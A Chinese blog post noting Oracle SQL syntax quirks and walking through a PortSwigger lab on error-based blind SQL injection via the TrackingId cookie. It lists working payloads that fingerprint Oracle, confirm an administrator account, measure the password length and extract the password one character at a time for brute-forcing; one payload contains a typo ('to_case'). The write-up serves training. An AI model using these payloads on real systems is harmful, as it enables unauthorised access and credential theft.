关于oracle数据库注入的一些边角料

可能相对于MySQL而言,其它的数据库接触的很少,可能我很少,尤其是oracle有很多不同的地方,下面进行一些记录:
  • 首先,Oracle的查询必须带from和之后的内容,如果想像MySQL一样使用诸如 select 1,2 之类的语句,可以用 select 1,2 from dual 来替代。
  • 还有,MySQL中的 limit 0,1 可用 rownum 1 来代替
下面是一个注入的步骤,题目来源:https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
  • 这是一个盲注,注入点在Cookie里的TrackingId参数值处。为方便以下假设原始TrackingId=abc
  • 做一些手脚:TrackingId=abc‘ 开始报错。猜想是单引号没有闭合掉,那就来个注释,即:TrackingId=abc' -- 发现不报错了。因此可以断定是单引号的问题。(这里可以先用and '1'='1 和and '1'='2试一下,其实是没用的,两个都不报错)。所以不同于寻常报错的盲注,这里要构建一个查询。
  • 初步构造查询语句为TrackingId=abc' || (select ' ') ||' ,但是发现报错,怎么回事呢? 这样试下吧TrackingId=abc' || (select ' ' from dual) ||' 发现没问题了,因此可判定该数据库为Oracle。
  • 再根据题来判断以下是否存在users表:TrackingId=abc' || (select ' ' from users where rownum = 1) ||' 结果为存在
  • 那就一不做二不休,判断该表是否包含username字段为administrator。

TrackingId=abc' || (select case when (1=1) then to_case(1/0) else ' ' end from users where username='administrator') ||'

  • 注意case和别的地方的用法类似,就是前边不满足的话就执行后面的。这里执行了1/0显然是不对的,所以要改成1=2来让它走后面。这样一对比可以知道存在administrator。

  • 接下来就是用brupsuit暴破查密码的事了。不过在此之前要先查询密码长度:

TrackingId=abc' || (select case when length(password)>2 then to_char(1/0) else ' ' end from users where username='administrator') ||'

  • 暴密码用的语句为:

TrackingId=abc' || (select case when substr(password,1,1)='a' then to_char(1/0) else ' ' end from users where username='administrator' ) ||'

  • 剩下的就自己暴吧 注意密码里不止有小写字母,还有数字。也就是数字和小写字母的组合
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容